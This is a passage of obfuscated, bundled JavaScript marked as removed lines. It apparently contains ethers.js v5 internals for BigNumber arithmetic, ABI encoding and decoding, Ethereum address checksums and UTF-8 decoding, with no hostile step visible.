- return _0x3f605d(_0xe8501d(this).toTwos(_0x1f6394));
- }
- abs() {
- return "-" === this._hex[0] ? _0x37fa43.from(this._hex.substring(1)) : this;
- }
- add(_0x56a5da) {
- return _0x3f605d(_0xe8501d(this).add(_0xe8501d(_0x56a5da)));
- }
- sub(_0x47d4a3) {
- return _0x3f605d(_0xe8501d(this).sub(_0xe8501d(_0x47d4a3)));
- }
- div(_0x14ffb9) {
- _0x37fa43.from(_0x14ffb9).isZero() && _0x65aee("division-by-zero", "div");
- return _0x3f605d(_0xe8501d(this).div(_0xe8501d(_0x14ffb9)));
- }
- mul(_0xcbd34) {
- return _0x3f605d(_0xe8501d(this).mul(_0xe8501d(_0xcbd34)));
- }
- mod(_0xed2bb6) {
- const _0xfa0292 = _0xe8501d(_0xed2bb6);
- _0xfa0292.isNeg() && _0x65aee("division-by-zero", "mod");
- return _0x3f605d(_0xe8501d(this).umod(_0xfa0292));
- }
- pow(_0x493b6c) {
- const _0x5331bf = _0xe8501d(_0x493b6c);
- _0x5331bf.isNeg() && _0x65aee("negative-power", "pow");
- return _0x3f605d(_0xe8501d(this).pow(_0x5331bf));
- }
- and(_0x3cc651) {
- const _0x3f7209 = _0xe8501d(_0x3cc651);
- (this.isNegative() || _0x3f7209.isNeg()) && _0x65aee("unbound-bitwise-result", "and");
- return _0x3f605d(_0xe8501d(this).and(_0x3f7209));
- }
- or(_0x3a701d) {
- const _0x335ca4 = _0xe8501d(_0x3a701d);
- (this.isNegative() || _0x335ca4.isNeg()) && _0x65aee("unbound-bitwise-result", "or");
- return _0x3f605d(_0xe8501d(this).or(_0x335ca4));
- }
- xor(_0x103755) {
- const _0x392c5e = _0xe8501d(_0x103755);
- (this.isNegative() || _0x392c5e.isNeg()) && _0x65aee("unbound-bitwise-result", "xor");
- return _0x3f605d(_0xe8501d(this).xor(_0x392c5e));
- }
- mask(_0x3d5eb4) {
- (this.isNegative() || _0x3d5eb4 < 0) && _0x65aee("negative-width", "mask");
- return _0x3f605d(_0xe8501d(this).maskn(_0x3d5eb4));
- }
- shl(_0x1ce93f) {
- (this.isNegative() || _0x1ce93f < 0) && _0x65aee("negative-width", "shl");
- return _0x3f605d(_0xe8501d(this).shln(_0x1ce93f));
- }
- shr(_0x42f188) {
- (this.isNegative() || _0x42f188 < 0) && _0x65aee("negative-width", "shr");
- return _0x3f605d(_0xe8501d(this).shrn(_0x42f188));
- }
- eq(_0x2dc187) {
- return _0xe8501d(this).eq(_0xe8501d(_0x2dc187));
- }
- lt(_0x2f2291) {
- return _0xe8501d(this).lt(_0xe8501d(_0x2f2291));
- }
- lte(_0x11c95c) {
- return _0xe8501d(this).lte(_0xe8501d(_0x11c95c));
- }
- gt(_0x58c23a) {
- return _0xe8501d(this).gt(_0xe8501d(_0x58c23a));
- }
- gte(_0x490de0) {
- return _0xe8501d(this).gte(_0xe8501d(_0x490de0));
- }
- isNegative() {
- return "-" === this._hex[0];
- }
- isZero() {
- return _0xe8501d(this).isZero();
- }
- toNumber() {
- try {
- return _0xe8501d(this).toNumber();
- } catch (_0x3ea24e) {
- _0x65aee("overflow", "toNumber", this.toString());
- }
- return null;
- }
- toBigInt() {
- try {
- return BigInt(this.toString());
- } catch (_0x5c6fe1) {}
- return _0x4d71dd.throwError("this platform does not support BigInt", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- value: this.toString()
- });
- }
- toString() {
- arguments.length > 0 && (10 === arguments[0] ? _0x2934cd || (_0x2934cd = true, _0x4d71dd.warn("BigNumber.toString does not accept any parameters; base-10 is assumed")) : 16 === arguments[0] ? _0x4d71dd.throwError("BigNumber.toString does not accept any parameters; use bigNumber.toHexString()", _0xd41928.errors.UNEXPECTED_ARGUMENT, {}) : _0x4d71dd.throwError("BigNumber.toString does not accept parameters", _0xd41928.errors.UNEXPECTED_ARGUMENT, {}));
- return _0xe8501d(this).toString(10);
- }
- toHexString() {
- return this._hex;
- }
- toJSON(_0x34f31c) {
- return {
- type: "BigNumber",
- hex: this.toHexString()
- };
- }
- static from(_0x576b0) {
- if (_0x576b0 instanceof _0x37fa43) {
- return _0x576b0;
- }
- if ("string" == typeof _0x576b0) {
- return _0x576b0.match(/^-?0x[0-9a-f]+$/i) ? new _0x37fa43(_0x4bb014, _0x3d633d(_0x576b0)) : _0x576b0.match(/^-?[0-9]+$/) ? new _0x37fa43(_0x4bb014, _0x3d633d(new _0x1e8a81(_0x576b0))) : _0x4d71dd.throwArgumentError("invalid BigNumber string", "value", _0x576b0);
- }
- if ("number" == typeof _0x576b0) {
- _0x576b0 % 1 && _0x65aee("underflow", "BigNumber.from", _0x576b0);
- (_0x576b0 >= _0x3f2198 || _0x576b0 <= -_0x3f2198) && _0x65aee("overflow", "BigNumber.from", _0x576b0);
- return _0x37fa43.from(String(_0x576b0));
- }
- const _0x3659c1 = _0x576b0;
- if ("bigint" == typeof _0x3659c1) {
- return _0x37fa43.from(_0x3659c1.toString());
- }
- if (_0x4c2875(_0x3659c1)) {
- return _0x37fa43.from(_0x22fb7d(_0x3659c1));
- }
- if (_0x3659c1) {
- if (_0x3659c1.toHexString) {
- const _0x460b95 = _0x3659c1.toHexString();
- if ("string" == typeof _0x460b95) {
- return _0x37fa43.from(_0x460b95);
- }
- } else {
- let _0x5db6fc = _0x3659c1._hex;
- if (null == _0x5db6fc && "BigNumber" === _0x3659c1.type && (_0x5db6fc = _0x3659c1.hex), "string" == typeof _0x5db6fc && (_0x1336b1(_0x5db6fc) || "-" === _0x5db6fc[0] && _0x1336b1(_0x5db6fc.substring(1)))) {
- return _0x37fa43.from(_0x5db6fc);
- }
- }
- }
- return _0x4d71dd.throwArgumentError("invalid BigNumber value", "value", _0x576b0);
- }
- static isBigNumber(_0x2a9547) {
- return !(!_0x2a9547 || !_0x2a9547._isBigNumber);
- }
- }
- function _0x3d633d(_0x39f0f2) {
- if ("string" != typeof _0x39f0f2) {
- return _0x3d633d(_0x39f0f2.toString(16));
- }
- if ("-" === _0x39f0f2[0]) {
- "-" === (_0x39f0f2 = _0x39f0f2.substring(1))[0] && _0x4d71dd.throwArgumentError("invalid hex", "value", _0x39f0f2);
- return "0x00" === (_0x39f0f2 = _0x3d633d(_0x39f0f2)) ? _0x39f0f2 : "-" + _0x39f0f2;
- }
- if ("0x" !== _0x39f0f2.substring(0, 2) && (_0x39f0f2 = "0x" + _0x39f0f2), "0x" === _0x39f0f2) {
- return "0x00";
- }
- for (_0x39f0f2.length % 2 && (_0x39f0f2 = "0x0" + _0x39f0f2.substring(2)); _0x39f0f2.length > 4 && "0x00" === _0x39f0f2.substring(0, 4);) {
- _0x39f0f2 = "0x" + _0x39f0f2.substring(4);
- }
- return _0x39f0f2;
- }
- function _0x3f605d(_0x5b8085) {
- return _0x37fa43.from(_0x3d633d(_0x5b8085));
- }
- function _0xe8501d(_0x108809) {
- const _0x4c9814 = _0x37fa43.from(_0x108809).toHexString();
- return "-" === _0x4c9814[0] ? new _0x1e8a81("-" + _0x4c9814.substring(3), 16) : new _0x1e8a81(_0x4c9814.substring(2), 16);
- }
- function _0x65aee(_0x11a262, _0x7bd05d, _0x12e1c8) {
- const _0x1fbce8 = {
- fault: _0x11a262,
- operation: _0x7bd05d
- };
- null != _0x12e1c8 && (_0x1fbce8.value = _0x12e1c8);
- return _0x4d71dd.throwError(_0x11a262, _0xd41928.errors.NUMERIC_FAULT, _0x1fbce8);
- }
- const _0x1e0808 = new _0xd41928(_0x4ea90b);
- class _0x979705 {
- constructor(_0x2984bf, _0x4e36f, _0x34b312, _0x4ee87a) {
- this.name = _0x2984bf;
- this.type = _0x4e36f;
- this.localName = _0x34b312;
- this.dynamic = _0x4ee87a;
- }
- _throwError(_0xf02f5d, _0x4bdb5a) {
- _0x1e0808.throwArgumentError(_0xf02f5d, this.localName, _0x4bdb5a);
- }
- }
- class _0x2234d4 {
- constructor(_0x43aba1) {
- _0x745c1c(this, "wordSize", _0x43aba1 || 32);
- this._data = [];
- this._dataLength = 0;
- this._padding = new Uint8Array(_0x43aba1);
- }
- get data() {
- return function (_0x490502) {
- let _0x4d11e3 = "0x";
- _0x490502.forEach(_0xdef63e => {
- _0x4d11e3 += _0x22fb7d(_0xdef63e).substring(2);
- });
- return _0x4d11e3;
- }(this._data);
- }
- get length() {
- return this._dataLength;
- }
- _writeData(_0x365fb5) {
- this._data.push(_0x365fb5);
- this._dataLength += _0x365fb5.length;
- return _0x365fb5.length;
- }
- appendWriter(_0x5f1b2a) {
- return this._writeData(_0x3c6426(_0x5f1b2a._data));
- }
- writeBytes(_0xd10b83) {
- let _0x4f388c = _0x31ea1b(_0xd10b83);
- const _0x3b4050 = _0x4f388c.length % this.wordSize;
- _0x3b4050 && (_0x4f388c = _0x3c6426([_0x4f388c, this._padding.slice(_0x3b4050)]));
- return this._writeData(_0x4f388c);
- }
- _getValue(_0x5ba590) {
- let _0x42d8b0 = _0x31ea1b(_0x37fa43.from(_0x5ba590));
- _0x42d8b0.length > this.wordSize && _0x1e0808.throwError("value out-of-bounds", _0xd41928.errors.BUFFER_OVERRUN, {
- length: this.wordSize,
- offset: _0x42d8b0.length
- });
- _0x42d8b0.length % this.wordSize && (_0x42d8b0 = _0x3c6426([this._padding.slice(_0x42d8b0.length % this.wordSize), _0x42d8b0]));
- return _0x42d8b0;
- }
- writeValue(_0xbac5cf) {
- return this._writeData(this._getValue(_0xbac5cf));
- }
- writeUpdatableValue() {
- const _0x242499 = this._data.length;
- this._data.push(this._padding);
- this._dataLength += this.wordSize;
- return _0x25cb39 => {
- this._data[_0x242499] = this._getValue(_0x25cb39);
- };
- }
- }
- class _0x2b4f7a {
- constructor(_0x487669, _0x221829, _0x50cb48, _0x56dc38) {
- _0x745c1c(this, "_data", _0x31ea1b(_0x487669));
- _0x745c1c(this, "wordSize", _0x221829 || 32);
- _0x745c1c(this, "_coerceFunc", _0x50cb48);
- _0x745c1c(this, "allowLoose", _0x56dc38);
- this._offset = 0;
- }
- get data() {
- return _0x22fb7d(this._data);
- }
- get consumed() {
- return this._offset;
- }
- static coerce(_0x34a03a, _0x434bfb) {
- let _0x32592a = _0x34a03a.match("^u?int([0-9]+)$");
- _0x32592a && parseInt(_0x32592a[1]) <= 48 && (_0x434bfb = _0x434bfb.toNumber());
- return _0x434bfb;
- }
- coerce(_0x1ce4d2, _0x54bd80) {
- return this._coerceFunc ? this._coerceFunc(_0x1ce4d2, _0x54bd80) : _0x2b4f7a.coerce(_0x1ce4d2, _0x54bd80);
- }
- _peekBytes(_0x53c556, _0x401dfa, _0x4ffc6f) {
- let _0x508738 = Math.ceil(_0x401dfa / this.wordSize) * this.wordSize;
- this._offset + _0x508738 > this._data.length && (this.allowLoose && _0x4ffc6f && this._offset + _0x401dfa <= this._data.length ? _0x508738 = _0x401dfa : _0x1e0808.throwError("data out-of-bounds", _0xd41928.errors.BUFFER_OVERRUN, {
- length: this._data.length,
- offset: this._offset + _0x508738
- }));
- return this._data.slice(this._offset, this._offset + _0x508738);
- }
- subReader(_0x511862) {
- return new _0x2b4f7a(this._data.slice(this._offset + _0x511862), this.wordSize, this._coerceFunc, this.allowLoose);
- }
- readBytes(_0x3cf360, _0x3209ca) {
- let _0x67ea92 = this._peekBytes(0, _0x3cf360, !!_0x3209ca);
- this._offset += _0x67ea92.length;
- return _0x67ea92.slice(0, _0x3cf360);
- }
- readValue() {
- return _0x37fa43.from(this.readBytes(this.wordSize));
- }
- }
- var _0x1559de = _0x242c38(1094);
- var _0x3a014e = _0x242c38.n(_0x1559de);
- const _0x346bc4 = new _0xd41928("address/5.7.0");
- function _0x40073c(_0x3d0a7b) {
- _0x1336b1(_0x3d0a7b, 20) || _0x346bc4.throwArgumentError("invalid address", "address", _0x3d0a7b);
- const _0x4c786d = (_0x3d0a7b = _0x3d0a7b.toLowerCase()).substring(2).split("");
- const _0x12736b = new Uint8Array(40);
- for (let _0x481445 = 0; _0x481445 < 40; _0x481445++) {
- _0x12736b[_0x481445] = _0x4c786d[_0x481445].charCodeAt(0);
- }
- const _0x211e05 = _0x31ea1b((_0x268099 = _0x12736b, "0x" + _0x3a014e().keccak_256(_0x31ea1b(_0x268099))));
- var _0x268099;
- for (let _0x2a3048 = 0; _0x2a3048 < 40; _0x2a3048 += 2) {
- _0x211e05[_0x2a3048 >> 1] >> 4 >= 8 && (_0x4c786d[_0x2a3048] = _0x4c786d[_0x2a3048].toUpperCase());
- (15 & _0x211e05[_0x2a3048 >> 1]) >= 8 && (_0x4c786d[_0x2a3048 + 1] = _0x4c786d[_0x2a3048 + 1].toUpperCase());
- }
- return "0x" + _0x4c786d.join("");
- }
- const _0x4124d8 = {};
- for (let _0x593971 = 0; _0x593971 < 10; _0x593971++) {
- _0x4124d8[String(_0x593971)] = String(_0x593971);
- }
- for (let _0x422ebc = 0; _0x422ebc < 26; _0x422ebc++) {
- _0x4124d8[String.fromCharCode(65 + _0x422ebc)] = String(10 + _0x422ebc);
- }
- const _0x1dba43 = Math.floor((_0x38069b = 9007199254740991, Math.log10 ? Math.log10(_0x38069b) : Math.log(_0x38069b) / Math.LN10));
- var _0x38069b;
- function _0x22e7ce(_0x1c472c) {
- let _0x178e05 = null;
- if ("string" != typeof _0x1c472c && _0x346bc4.throwArgumentError("invalid address", "address", _0x1c472c), _0x1c472c.match(/^(0x)?[0-9a-fA-F]{40}$/)) {
- "0x" !== _0x1c472c.substring(0, 2) && (_0x1c472c = "0x" + _0x1c472c);
- _0x178e05 = _0x40073c(_0x1c472c);
- _0x1c472c.match(/([A-F].*[a-f])|([a-f].*[A-F])/) && _0x178e05 !== _0x1c472c && _0x346bc4.throwArgumentError("bad address checksum", "address", _0x1c472c);
- } else {
- if (_0x1c472c.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) {
- for (_0x1c472c.substring(2, 4) !== function (_0x154458) {
- let _0x51bf11 = (_0x154458 = (_0x154458 = _0x154458.toUpperCase()).substring(4) + _0x154458.substring(0, 2) + "00").split("").map(_0x4e8b0f => _0x4124d8[_0x4e8b0f]).join("");
- for (; _0x51bf11.length >= _0x1dba43;) {
- let _0x507ea0 = _0x51bf11.substring(0, _0x1dba43);
- _0x51bf11 = parseInt(_0x507ea0, 10) % 97 + _0x51bf11.substring(_0x507ea0.length);
- }
- let _0x2e333b = String(98 - parseInt(_0x51bf11, 10) % 97);
- for (; _0x2e333b.length < 2;) {
- _0x2e333b = "0" + _0x2e333b;
- }
- return _0x2e333b;
- }(_0x1c472c) && _0x346bc4.throwArgumentError("bad icap checksum", "address", _0x1c472c), _0x4f1ca5 = _0x1c472c.substring(4), _0x178e05 = new _0x1e8a81(_0x4f1ca5, 36).toString(16); _0x178e05.length < 40;) {
- _0x178e05 = "0" + _0x178e05;
- }
- _0x178e05 = _0x40073c("0x" + _0x178e05);
- } else {
- _0x346bc4.throwArgumentError("invalid address", "address", _0x1c472c);
- }
- }
- var _0x4f1ca5;
- return _0x178e05;
- }
- class _0x55d5a4 extends _0x979705 {
- constructor(_0x393385) {
- super("address", "address", _0x393385, false);
- }
- defaultValue() {
- return "0x0000000000000000000000000000000000000000";
- }
- encode(_0x1ba651, _0x5785cb) {
- try {
- _0x5785cb = _0x22e7ce(_0x5785cb);
- } catch (_0x2caf65) {
- this._throwError(_0x2caf65.message, _0x5785cb);
- }
- return _0x1ba651.writeValue(_0x5785cb);
- }
- decode(_0x4ce02b) {
- return _0x22e7ce(function (_0x5f51fa, _0x51769a) {
- for ("string" != typeof _0x5f51fa ? _0x5f51fa = _0x22fb7d(_0x5f51fa) : _0x1336b1(_0x5f51fa) || _0x32dc7d.throwArgumentError("invalid hex string", "value", _0x5f51fa), _0x5f51fa.length > 2 * _0x51769a + 2 && _0x32dc7d.throwArgumentError("value out of range", "value", arguments[1]); _0x5f51fa.length < 2 * _0x51769a + 2;) {
- _0x5f51fa = "0x0" + _0x5f51fa.substring(2);
- }
- return _0x5f51fa;
- }(_0x4ce02b.readValue().toHexString(), 20));
- }
- }
- class _0xd47d50 extends _0x979705 {
- constructor(_0x24361f) {
- super(_0x24361f.name, _0x24361f.type, undefined, _0x24361f.dynamic);
- this.coder = _0x24361f;
- }
- defaultValue() {
- return this.coder.defaultValue();
- }
- encode(_0x4f383e, _0x40545d) {
- return this.coder.encode(_0x4f383e, _0x40545d);
- }
- decode(_0x5e29e2) {
- return this.coder.decode(_0x5e29e2);
- }
- }
- const _0x9b65bd = new _0xd41928(_0x4ea90b);
- function _0x2ecf05(_0x18dd20, _0x4da183, _0x2d0b68) {
- let _0xb33a83 = null;
- if (Array.isArray(_0x2d0b68)) {
- _0xb33a83 = _0x2d0b68;
- } else {
- if (_0x2d0b68 && "object" == typeof _0x2d0b68) {
- let _0x37cd9e = {};
- _0xb33a83 = _0x4da183.map(_0x32a6ae => {
- const _0x328c59 = _0x32a6ae.localName;
- _0x328c59 || _0x9b65bd.throwError("cannot encode object for signature with missing names", _0xd41928.errors.INVALID_ARGUMENT, {
- argument: "values",
- coder: _0x32a6ae,
- value: _0x2d0b68
- });
- _0x37cd9e[_0x328c59] && _0x9b65bd.throwError("cannot encode object for signature with duplicate names", _0xd41928.errors.INVALID_ARGUMENT, {
- argument: "values",
- coder: _0x32a6ae,
- value: _0x2d0b68
- });
- _0x37cd9e[_0x328c59] = true;
- return _0x2d0b68[_0x328c59];
- });
- } else {
- _0x9b65bd.throwArgumentError("invalid tuple value", "tuple", _0x2d0b68);
- }
- }
- _0x4da183.length !== _0xb33a83.length && _0x9b65bd.throwArgumentError("types/value length mismatch", "tuple", _0x2d0b68);
- let _0x325ec3 = new _0x2234d4(_0x18dd20.wordSize);
- let _0x2a0c26 = new _0x2234d4(_0x18dd20.wordSize);
- let _0x5e47ba = [];
- _0x4da183.forEach((_0x24fc37, _0x275e8a) => {
- let _0xf449dc = _0xb33a83[_0x275e8a];
- if (_0x24fc37.dynamic) {
- let _0x3deabf = _0x2a0c26.length;
- _0x24fc37.encode(_0x2a0c26, _0xf449dc);
- let _0x36bec7 = _0x325ec3.writeUpdatableValue();
- _0x5e47ba.push(_0x279290 => {
- _0x36bec7(_0x279290 + _0x3deabf);
- });
- } else {
- _0x24fc37.encode(_0x325ec3, _0xf449dc);
- }
- });
- _0x5e47ba.forEach(_0x1c419b => {
- _0x1c419b(_0x325ec3.length);
- });
- let _0x471767 = _0x18dd20.appendWriter(_0x325ec3);
- _0x471767 += _0x18dd20.appendWriter(_0x2a0c26);
- return _0x471767;
- }
- function _0x12ffd9(_0x1639a5, _0x220637) {
- let _0x4780a7 = [];
- let _0x54da17 = _0x1639a5.subReader(0);
- _0x220637.forEach(_0xd105e0 => {
- let _0x19239d = null;
- if (_0xd105e0.dynamic) {
- let _0x42560d = _0x1639a5.readValue();
- let _0x2b66d9 = _0x54da17.subReader(_0x42560d.toNumber());
- try {
- _0x19239d = _0xd105e0.decode(_0x2b66d9);
- } catch (_0x42c8a8) {
- if (_0x42c8a8.code === _0xd41928.errors.BUFFER_OVERRUN) {
- throw _0x42c8a8;
- }
- _0x19239d = _0x42c8a8;
- _0x19239d.baseType = _0xd105e0.name;
- _0x19239d.name = _0xd105e0.localName;
- _0x19239d.type = _0xd105e0.type;
- }
- } else {
- try {
- _0x19239d = _0xd105e0.decode(_0x1639a5);
- } catch (_0x4200f8) {
- if (_0x4200f8.code === _0xd41928.errors.BUFFER_OVERRUN) {
- throw _0x4200f8;
- }
- _0x19239d = _0x4200f8;
- _0x19239d.baseType = _0xd105e0.name;
- _0x19239d.name = _0xd105e0.localName;
- _0x19239d.type = _0xd105e0.type;
- }
- }
- null != _0x19239d && _0x4780a7.push(_0x19239d);
- });
- const _0x163441 = _0x220637.reduce((_0x2d908f, _0xcf02c3) => {
- const _0x3af2d7 = _0xcf02c3.localName;
- _0x3af2d7 && (_0x2d908f[_0x3af2d7] || (_0x2d908f[_0x3af2d7] = 0), _0x2d908f[_0x3af2d7]++);
- return _0x2d908f;
- }, {});
- _0x220637.forEach((_0x38cf4d, _0x72a71a) => {
- let _0x107173 = _0x38cf4d.localName;
- if (!_0x107173 || 1 !== _0x163441[_0x107173]) {
- return;
- }
- if ("length" === _0x107173 && (_0x107173 = "_length"), null != _0x4780a7[_0x107173]) {
- return;
- }
- const _0x20d229 = _0x4780a7[_0x72a71a];
- _0x20d229 instanceof Error ? Object.defineProperty(_0x4780a7, _0x107173, {
- enumerable: true,
- get: () => {
- throw _0x20d229;
- }
- }) : _0x4780a7[_0x107173] = _0x20d229;
- });
- for (let _0x32e0c9 = 0; _0x32e0c9 < _0x4780a7.length; _0x32e0c9++) {
- const _0x280fab = _0x4780a7[_0x32e0c9];
- _0x280fab instanceof Error && Object.defineProperty(_0x4780a7, _0x32e0c9, {
- enumerable: true,
- get: () => {
- throw _0x280fab;
- }
- });
- }
- return Object.freeze(_0x4780a7);
- }
- class _0x2ddcb1 extends _0x979705 {
- constructor(_0x3b0e57, _0x2c7344, _0x55ce78) {
- super("array", _0x3b0e57.type + "[" + (_0x2c7344 >= 0 ? _0x2c7344 : "") + "]", _0x55ce78, -1 === _0x2c7344 || _0x3b0e57.dynamic);
- this.coder = _0x3b0e57;
- this.length = _0x2c7344;
- }
- defaultValue() {
- const _0x525776 = this.coder.defaultValue();
- const _0x165c8c = [];
- for (let _0x226e88 = 0; _0x226e88 < this.length; _0x226e88++) {
- _0x165c8c.push(_0x525776);
- }
- return _0x165c8c;
- }
- encode(_0x93cc97, _0x4bc369) {
- Array.isArray(_0x4bc369) || this._throwError("expected array value", _0x4bc369);
- let _0x22d7ca = this.length;
- -1 === _0x22d7ca && (_0x22d7ca = _0x4bc369.length, _0x93cc97.writeValue(_0x4bc369.length));
- _0x9b65bd.checkArgumentCount(_0x4bc369.length, _0x22d7ca, "coder array" + (this.localName ? " " + this.localName : ""));
- let _0x5914d8 = [];
- for (let _0x4c0ca7 = 0; _0x4c0ca7 < _0x4bc369.length; _0x4c0ca7++) {
- _0x5914d8.push(this.coder);
- }
- return _0x2ecf05(_0x93cc97, _0x5914d8, _0x4bc369);
- }
- decode(_0xd88e3) {
- let _0x1fd4b7 = this.length;
- -1 === _0x1fd4b7 && (_0x1fd4b7 = _0xd88e3.readValue().toNumber(), 32 * _0x1fd4b7 > _0xd88e3._data.length && _0x9b65bd.throwError("insufficient data length", _0xd41928.errors.BUFFER_OVERRUN, {
- length: _0xd88e3._data.length,
- count: _0x1fd4b7
- }));
- let _0x3db992 = [];
- for (let _0x4fd2c9 = 0; _0x4fd2c9 < _0x1fd4b7; _0x4fd2c9++) {
- _0x3db992.push(new _0xd47d50(this.coder));
- }
- return _0xd88e3.coerce(this.name, _0x12ffd9(_0xd88e3, _0x3db992));
- }
- }
- class _0x15baa0 extends _0x979705 {
- constructor(_0x24b4ed) {
- super("bool", "bool", _0x24b4ed, false);
- }
- defaultValue() {
- return false;
- }
- encode(_0x31eb5b, _0x2896a8) {
- return _0x31eb5b.writeValue(_0x2896a8 ? 1 : 0);
- }
- decode(_0x1a2127) {
- return _0x1a2127.coerce(this.type, !_0x1a2127.readValue().isZero());
- }
- }
- class _0x1873ac extends _0x979705 {
- constructor(_0x19620e, _0x56cdd7) {
- super(_0x19620e, _0x19620e, _0x56cdd7, true);
- }
- defaultValue() {
- return "0x";
- }
- encode(_0x2d1689, _0x56d8be) {
- _0x56d8be = _0x31ea1b(_0x56d8be);
- let _0x30aac3 = _0x2d1689.writeValue(_0x56d8be.length);
- _0x30aac3 += _0x2d1689.writeBytes(_0x56d8be);
- return _0x30aac3;
- }
- decode(_0x5c4bd6) {
- return _0x5c4bd6.readBytes(_0x5c4bd6.readValue().toNumber(), true);
- }
- }
- class _0x40761d extends _0x1873ac {
- constructor(_0x362275) {
- super("bytes", _0x362275);
- }
- decode(_0x3a9d3d) {
- return _0x3a9d3d.coerce(this.name, _0x22fb7d(super.decode(_0x3a9d3d)));
- }
- }
- class _0xda2133 extends _0x979705 {
- constructor(_0x133401, _0x4d9b9f) {
- let _0x594cf8 = "bytes" + String(_0x133401);
- super(_0x594cf8, _0x594cf8, _0x4d9b9f, false);
- this.size = _0x133401;
- }
- defaultValue() {
- return "0x0000000000000000000000000000000000000000000000000000000000000000".substring(0, 2 + 2 * this.size);
- }
- encode(_0x540550, _0xeca80c) {
- let _0x5a6832 = _0x31ea1b(_0xeca80c);
- _0x5a6832.length !== this.size && this._throwError("incorrect data length", _0xeca80c);
- return _0x540550.writeBytes(_0x5a6832);
- }
- decode(_0x1bbf45) {
- return _0x1bbf45.coerce(this.name, _0x22fb7d(_0x1bbf45.readBytes(this.size)));
- }
- }
- class _0xf86ba extends _0x979705 {
- constructor(_0x2f70c0) {
- super("null", "", _0x2f70c0, false);
- }
- defaultValue() {
- return null;
- }
- encode(_0xddbb7b, _0x27f60a) {
- null != _0x27f60a && this._throwError("not null", _0x27f60a);
- return _0xddbb7b.writeBytes([]);
- }
- decode(_0x21134c) {
- _0x21134c.readBytes(0);
- return _0x21134c.coerce(this.name, null);
- }
- }
- const _0x5e4db0 = _0x37fa43.from(-1);
- const _0x349364 = _0x37fa43.from(0);
- const _0x3a7a02 = _0x37fa43.from(1);
- const _0x89ca0d = _0x37fa43.from("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff");
- class _0x5646e6 extends _0x979705 {
- constructor(_0x35da2e, _0x56fa36, _0x21d796) {
- const _0x1a8423 = (_0x56fa36 ? "int" : "uint") + 8 * _0x35da2e;
- super(_0x1a8423, _0x1a8423, _0x21d796, false);
- this.size = _0x35da2e;
- this.signed = _0x56fa36;
- }
- defaultValue() {
- return 0;
- }
- encode(_0x2c08dc, _0x1b2428) {
- let _0x52066e = _0x37fa43.from(_0x1b2428);
- let _0x315f28 = _0x89ca0d.mask(8 * _0x2c08dc.wordSize);
- if (this.signed) {
- let _0x2d1515 = _0x315f28.mask(8 * this.size - 1);
- (_0x52066e.gt(_0x2d1515) || _0x52066e.lt(_0x2d1515.add(_0x3a7a02).mul(_0x5e4db0))) && this._throwError("value out-of-bounds", _0x1b2428);
- } else {
- (_0x52066e.lt(_0x349364) || _0x52066e.gt(_0x315f28.mask(8 * this.size))) && this._throwError("value out-of-bounds", _0x1b2428);
- }
- _0x52066e = _0x52066e.toTwos(8 * this.size).mask(8 * this.size);
- this.signed && (_0x52066e = _0x52066e.fromTwos(8 * this.size).toTwos(8 * _0x2c08dc.wordSize));
- return _0x2c08dc.writeValue(_0x52066e);
- }
- decode(_0x2bc7e8) {
- let _0x33e291 = _0x2bc7e8.readValue().mask(8 * this.size);
- this.signed && (_0x33e291 = _0x33e291.fromTwos(8 * this.size));
- return _0x2bc7e8.coerce(this.name, _0x33e291);
- }
- }
- const _0x1eb15e = new _0xd41928("strings/5.7.0");
- var _0x36f3af;
- var _0x44c472;
- function _0x576805(_0x9116c6, _0x21ece2, _0x202b68, _0x11f458, _0xb733c6) {
- if (_0x9116c6 === _0x44c472.BAD_PREFIX || _0x9116c6 === _0x44c472.UNEXPECTED_CONTINUE) {
- let _0x4644ee = 0;
- for (let _0x464beb = _0x21ece2 + 1; _0x464beb < _0x202b68.length && _0x202b68[_0x464beb] >> 6 == 2; _0x464beb++) {
- _0x4644ee++;
- }
- return _0x4644ee;
- }
- return _0x9116c6 === _0x44c472.OVERRUN ? _0x202b68.length - _0x21ece2 - 1 : 0;
- }
- !function (_0xe54c8b) {
- _0xe54c8b.current = "";
- _0xe54c8b.NFC = "NFC";
- _0xe54c8b.NFD = "NFD";
- _0xe54c8b.NFKC = "NFKC";
- _0xe54c8b.NFKD = "NFKD";
- }(_0x36f3af || (_0x36f3af = {}));
- (function (_0x4af5d4) {
- _0x4af5d4.UNEXPECTED_CONTINUE = "unexpected continuation byte";
- _0x4af5d4.BAD_PREFIX = "bad codepoint prefix";
- _0x4af5d4.OVERRUN = "string overrun";
- _0x4af5d4.MISSING_CONTINUE = "missing continuation byte";
- _0x4af5d4.OUT_OF_RANGE = "out of UTF-8 range";
- _0x4af5d4.UTF16_SURROGATE = "UTF-16 surrogate";
- _0x4af5d4.OVERLONG = "overlong representation";
- })(_0x44c472 || (_0x44c472 = {}));
- const _0x1a21fa = Object.freeze({
- error: function (_0x376d93, _0xb25cd4, _0x4cc3d4, _0x2cfdef, _0x212a6e) {
- return _0x1eb15e.throwArgumentError("invalid codepoint at offset " + _0xb25cd4 + "; " + _0x376d93, "bytes", _0x4cc3d4);
- },
- ignore: _0x576805,
- replace: function (_0x479561, _0x1b799b, _0x12df53, _0x24f271, _0x3b2c76) {
- return _0x479561 === _0x44c472.OVERLONG ? (_0x24f271.push(_0x3b2c76), 0) : (_0x24f271.push(65533), _0x576805(_0x479561, _0x1b799b, _0x12df53));
- }
- });
- function _0x496d4c(_0x4df10f, _0x304bdd) {
- return function (_0x3c5886, _0x137c3a) {
- null == _0x137c3a && (_0x137c3a = _0x1a21fa.error);
- _0x3c5886 = _0x31ea1b(_0x3c5886);
- const _0x50fb51 = [];
- let _0x51e311 = 0;
- for (; _0x51e311 < _0x3c5886.length;) {
- const _0x129ec1 = _0x3c5886[_0x51e311++];
- if (_0x129ec1 >> 7 == 0) {
- _0x50fb51.push(_0x129ec1);
- continue;
- }
- let _0x1a0503 = null;
- let _0x2f0335 = null;
- if (192 == (224 & _0x129ec1)) {
- _0x1a0503 = 1;
- _0x2f0335 = 127;
- } else {
- if (224 == (240 & _0x129ec1)) {
- _0x1a0503 = 2;
- _0x2f0335 = 2047;
- } else {
- if (240 != (248 & _0x129ec1)) {
- _0x51e311 += _0x137c3a(128 == (192 & _0x129ec1) ? _0x44c472.UNEXPECTED_CONTINUE : _0x44c472.BAD_PREFIX, _0x51e311 - 1, _0x3c5886, _0x50fb51);
- continue;
- }
- _0x1a0503 = 3;
- _0x2f0335 = 65535;
- }
- }
